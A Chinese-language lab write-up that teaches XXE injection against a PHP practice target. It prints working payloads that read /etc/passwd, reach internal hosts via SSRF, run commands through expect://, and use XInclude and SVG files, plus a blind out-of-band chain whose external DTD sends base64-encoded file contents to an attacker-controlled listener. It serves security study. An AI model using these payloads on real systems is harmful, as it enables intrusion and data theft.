XXE

环境网址:https://github.com/mcc0624/XXE

学习视频:橙子科技

XXE靶场环境搭建

1
git clone https://github.com/mcc0624/XXE

image-20260122221930991

XXE前置知识——xml语言

xml引入

概述

XML是一种标记语言

XML指可扩展标记语言,把数据机构化后传输给对方让对方在结构化的数据中进行读取

类似于excle表格将各种数据归类即格式化

xml的标签没有意义,需要自定义标签

简单理解为<>为标签,中间的名称可以自定义且没有意义,但后续可以通过一些方法调用

image-20260122221941007

比较xml和html

名称 XML HTML
功能 数据读取 开发
标签 自定义,无意义 预定义
作用 传输和存储数据 显示数据
焦点 数据的内容 数据的外观

XML基本语法

所有XML标签必须闭合

在XML中,省略关闭标签是非法的。所有元素都必须有关闭标签

image-20260122221227169

XML必须正确地嵌套

在XML中,所有元素都必须彼此正确地嵌套

image-20260122221220325

由于<i>元素是在<b>元素内打开的,那么它必须在<b>元素内关闭

XML标签对大小写敏感

XML标签对大小写敏感,在XML中,标签<Letter>与标签<letter>是不同的。

必须同时使用相同的大小写来编写打开标签和关闭标签

image-20260122221135227

XML文档必须有根元素

XML文档必须有一个元素是所有其他元素的父元素。该元素称为根元素

没有缩进要求,建议首行缩进

image-20260122221130168

头声明可有可无,建议写

第一行为XML声明。定义XML版本和所使用的编码

image-20260122221125132

实体引用

就是将一些有特殊含义的符号用实体引用来替换,比如:

<小于号:将它放入XML元素中会报错,因为解析器会把它当作新元素的开始

预定义实体引用

实体引用 符号 含义
< < 大于
> > 小于
& & 和号
' 单引号
" 双引号

**注释:在XML中,只有字符”<”和”&”确实是非法的。大于号是合法的。

使用php解析xml

php页面调用xml

创建一个xml文件

1
2
3
4
5
6
7
8
9
10
<root>
<man>
<name>yyy</name>
<age>20</age>
</man>
<man>
<name>sss</name>
<age>19</age>
</man>
</root>

image-20260122221115531

可以在网页中显示

创建一个php文件

1
2
3
4
<?php
$xml = simplexml_load_file("student.xml");
print_r($xml);
?>

image-20260122221110023

读取出来的是一个Object对象[man]为成员属性其中包含两个数组[0][1],两个数组也分别对应一个对象,其中都包含两个成员属性:name和age

利用php读取对象的属性

1
2
3
4
5
<?php
$xml = simplexml_load_file("student.xml");
//print_r($xml);
echo $xml->man[0]-> name;
?>

可以看到页面读取的内容是数组0对应的name:yyy

image-20260122221100972

1
2
3
4
5
6
<?php
$xml = simplexml_load_file("student.xml");
//print_r($xml);
echo $xml->man[0]-> name;
echo $xml->man[1]-> age;
?>

image-20260122220921601

simplexml_load_file()函数吧XML文档载入对象中

$xml是一个Object对象

使用DOMDocument读取XML文档

数据通常以POST方式吧字符串提交进去,以xml结构提交给目标网站,再通过php伪协议读取内容,进行xml解析

DOMDocument是一个类,需要先实例化为对象

load():调用文件

saveXML():读取

读取页面

这是基于目录下存在上述student.xml构造的php

1
2
3
4
5
6
<?php
$xml = include("student.xml");
$doc = new DOMDocument();
$doc->loadXML($xml);
print_r($doc->saveXML());
?>

image-20260122220915692

可以这样读取页面

读取成员属性

1
2
3
4
5
<?php
$doc = new DOMDocument();
$doc -> load("student.xml");
//print_r($doc->saveXML());
echo $doc->getElementsByTagName('name')->item(0)->nodeValue;

getElementsByTagName('name')读取XML的节点名字name

item(0)指向第0个

nodeValue获取节点的值

image-20260122220909968

DTD声明介绍

什么是DTD

文档类型定义,可定义合法的XML文档构建模块,使用一系列合法的元素来定义文档的结构

在XML中可以自定义标记,DTD用来定义我们自己定义的标记的含义,我们自己定义元素的相关属性的文档。它规定、约束XML规则的定义和陈述

DTD可被成行地声明于XML文档中,也可作为外部引用

image-20260122220902790
!ELEMENT定义元素

!ATTLIST定义元素的属性

!NOTATION定义不被解释为元素或属性的符号

!ENTITY定义实体,这些实体可以在XML文档中被引用

DTD漏洞

外部引入DTD文件

image-20260122220857853

SYSTEM读取1.dtdDTD声明

SYSTEM也可以读取其他外部文件

XML实体介绍

什么是实体

实体是对数据的引用,根据实体种类的不同,XML解析器将使用实体的替代文本或者外部文档的内容来替代实体引用

使用实体可以去掉符号的意义

实体分类

所有实体(除参数实体外)都以一个于字符(&)开始,以一个分号(;)结束

  • 字符实体
  • 命名实体
  • 外部实体:XXE漏洞产生主要原因外部调用文件
  • 参数实体:创建替换文本的可重用部分

XXE漏洞成因

XXE:XML的外部实体注入

外部实体:用来引入外部资源

DTD文档类型定义用于定义XML文档的结构

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xml = file_get_contents('php://input');
if(isset($xml)){
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$benben = $creds->admin;
echo $benben;
}
highlight_file(__FILE__);
?>

利用bp抓包,修改请求方式,更改Content-Type

1
Content-Type: application/xml;charset=utf-8

image-20260122220846598

提交测试参数

1
<root><admin>benben</admin></root

<root>为根节点

<admin>为枝节点

image-20260122220758629

1
$benben = $creds->admin;

源码中调用成员属性为damin,所以参数中必须是admin

增加DTD声明引起漏洞

调用外部实体,可以读取内部文件名

1
<!DOCTYPE admin [<!ENTITY ben SYSTEM "file:///etc/passwd">]>c'c
  • DOCTYPE:定义XML的文档类型(DTD),命名为admin,内部包含实体定义

  • <!ENTITY ben SYSTEM "file:///etc/passwd">:定义外部通用实体

  • ENTITY:用来设置命令实体:ben

  • SYSTEM:表示引用外部资源

  • file:///etc/passwd:本地文件协议

  • <root><admin>&ben;</admin></root>:XML正文,通过&ben;引用上面定义的外部实体,漏洞触发后,解析器会将&ben;替换为/etc/passwd的文件内容

image-20260122220743134

不同程序支持的协议不同

PHP JAVA NET LIBXML2
file file file file
http http http http
ftp https https ftp
php ftp ftp
compress.Zlib jar
compress.bzip2 netdoc
data mailto
glob gopher*
phar

XXE使用外部实体读取文件

如何判断存在XXE漏洞

查看网页源码

image-20260122220736765

bp拦截抓包

查看响应包

一般是POST方法,doLogin.php文件,Content-Type是application/xml;charset=utf-8

image-20260122220730640

利用XXE使用外部实体检索文件

添加DTD读取/etc/passwd

常用测试是否存在XXE漏洞payload

1
<!DOCTYPE  root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>

image-20260122220724915

参数实体

利用file协议尝试

1
<!DOCTYPE  root [<!ENTITY ben SYSTEM "file:///etc/passwd">]>

image-20260122220718371

file协议失效,可尝试命名实体(命名实体只能在DTD文档中调用)

利用参数实体以及外部实体读取文件

image-20260122220713955

搭建http服务

我利用的是云服务器搭建http服务

进入/tmp目录

1
cd /tmp

打开vim编译器

1
vim 1.dtd

在编译器中编辑前需先按i切换到输入模式在输入文本

1
<!ENTITY ben SYSTEM "file:///etc/passwd">

按Esc退出输入模式切换为命令模,输入:w保存:q退出编译器

查看id

1
ip add

image-20260122220707846

开启http服务

1
python3 -m http.server 8080

image-20260122220702645

触发过程

image-20260122220654334

访问ip地址

image-20260122220648349

构造payload

bp抓包

1
<!DOCTYPE  root [<!ENTITY %dazhuang SYSTEM "http://172.26.130.170/1.dtd"> %dazhuang;]><user><username>&ben</username><password>111</password></user>

image-20260122220641837

image-20260122220636449

使用XXE进行SSRF利用

bp抓包输入payload

调用http协议

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3">]>

10.1.2.3可以通过SSRF中的知识查到

image-20260122220628313

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3/?cmd=ls">]>

image-20260122220622382

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "http://10.1.2.3/?cmd=cat+flag">]>

image-20260122220610303

利用php伪协议读取文件

php伪协议

相比较file伪协议,PHP伪协议可以对读取出的额文件进行数据编码

在XXE漏洞的基础上,使用PHP伪协议对文件进行读取并编码

直接读取

执行命令可以直接读取到flag

image-20260122220604020

再尝试读取index.php

image-20260122220558684

发现无法读取,因为index.php会被解析掉,看不到源代码

利用php伪协议

1
<!DOCTYPE root [<!ENTITY ben SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3/?cmd=cat+index.php">]>

image-20260122220547844

image-20260122220542978

解码可以看到源码

利用expect扩展进行命令执行

expect协议

概念

except:// 处理交互式的流

由expect://封装协议打开的数据流PTY通过提供了对进程stdio、stdou和stderr的访问

expect://封装协议默认未开启,为了使用必须把靶机中安装有效额Expect扩展

会被拒绝的字符

以下7个字符会被拒绝,PHP的XML的解析器会出错(以编码方式也无法执行)

  • 空格(可使用$IFS绕过)
  • “双引号
  • |管道符
  • {}大括号
  • \反斜杠
  • <>尖括号
  • :冒号

payload

1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">]>

image-20260122220534370

1
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://ls">]>

image-20260122220527462

无回显XXE带外数据

无回显XXE漏洞步骤

1、验证XXE漏洞是否存在

DNSLog查看漏洞

DNSLog原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息

利用Collaborator
  • 查看DNSLog信息
  • 接收HTTP请求数据带外内容

构造payload

1
<!DOCTYPE root[<!ENTITY %ben SYSTEM "http://m1o85xr51c61o1jwymeq1uq1hsnjbazz.oastify.com">%ben;]>

image-20260122220513670

http后的url是从Collaborator中复制出来的

image-20260122220507477

利用kali监听

在kali上监听一个端口

1
nc -lvp 2333

我这里是在云服务器上监听,在kali上命令也是一样的

image-20260122220501390

payload

1
<!DOCTYPE root[<!ENTITY % ben SYSTEM "http://ip:2333">%ben;]>

image-20260122220454718

2、带外数据

内部DTD嵌套调用参数实体(是错误的❌)

尝试构造payload

1
<!DOCTYPE test[<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % send SYSTEM "http://r0sd42qa0h56n6i1xrdv0zp6gxmoahy6.oastify.com/%file;">%send;]>

定义两个参数实体

第一个参数实体%file尝试用file协议读取/etc/passwd,并把内容传给参数实体file

第二个参数实体%send,用http协议访问bp中的Collaborator模块,将%file发送

发现发送之后无法在bp中轮询查看到

原因分析:

实际上执行后响应太快且没有任何反馈信息,说明XML语句没有执行成功。内部DTD禁止调用参数实体,就是不能嵌套调用参数实体

外部DTD重复调用参数实体

外部DTD可以重复调用参数实体,允许参数实体调用其他参数实体

利用参数实体以及外部实体读取文件

工作逻辑

image-20260122220427439

利用过程

在kali的1.dtd中写入

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY  &#37; send SYSTEM 'http://ip:2333/?p=%file;'>">
  • 参数实体file=用php伪协议把”file:///etc/passwd”的结果进行base64编码
  • 参数实体send=用http伪协议把”%file;”的值get提交出去
  • 参数实体int包含参数实体send

开启另一个终端监听2333端口

1
nc -lvmp 2333

在第一个端口执行命令

1
python3 -m http.server 8080

在bp构造payload

1
<!DOCTYPE conver [<!ENTITY % remote SYSTEM "http://ip/1.dtd">%remote;%int;%send;]>

执行过程

  1. 调用参数实体%remote

在ip地址中下载1.dtd

image-20260122220315284

  1. 调用参数实体%int;

执行完后

image-20260122220307907

  1. 调用参数实体%send;

在%send;内部调用%file;(包含file:///etc/passwd的信息并GET提交给ip://2333)

image-20260122220248250

image-20260122220238920

xinclude

概念

xml include,类似于php include

文件包含可以使代码更干净,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就可以避免重读冗长得到函数定义,同样可以增加代码的可读性

示例

image-20260122220224390

功能:调用templates/目录下的文件footer.xml

与外部实体的区别

外部实体 无法成为一个成熟的独立的XML文档,因为它既不允许独立的XML声明,也不允许Doctype声明
xinclude 可以调用一个独立完整的XML内容

与PHP文件包含的区别

php文件包含 include直接调用函数<?php include(‘/file.php’)
xinclude 使用时前面必须做一个前缀声明

利用思路

构造payload

1
<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/etc/passwd" parse="text"/></root>

声明XInclude命名空间

image-20260122220154813

使用SVG进行XXE漏洞利用

SVG文件

.svg一种图片格式,可缩放矢量图形,基于XML标记语言,用于描述二维的矢量图形

通过SVG文件进行XXE漏洞利用,从而读取对方文件

1
2
3
4
<?xml version="1.0" standalone="yes"?>#必须有
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:/etc/passwd">]>#payload,这里不是伪协议
<svg width="800px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">#必须有,是固定的,宽高可以自行修改
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>

定义图片的字体,大小,以及在x,y轴显示的位置

1
font-family="Verdana" font-size="16" x="10" y="40"

image-20260122220116318

1
2
3
4
<?xml version="1.0" standalone="yes"?>#必须有
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:flag.txt">]>#payload,这里不是伪协议
<svg width="800px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">#必须有,是固定的,宽高可以自行修改
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>

image-20260122220107609


XXE
https://colourful228.github.io/2026/01/22/XXE/
作者
Colourful
发布于
2026年1月22日
更新于
2026年1月22日
许可协议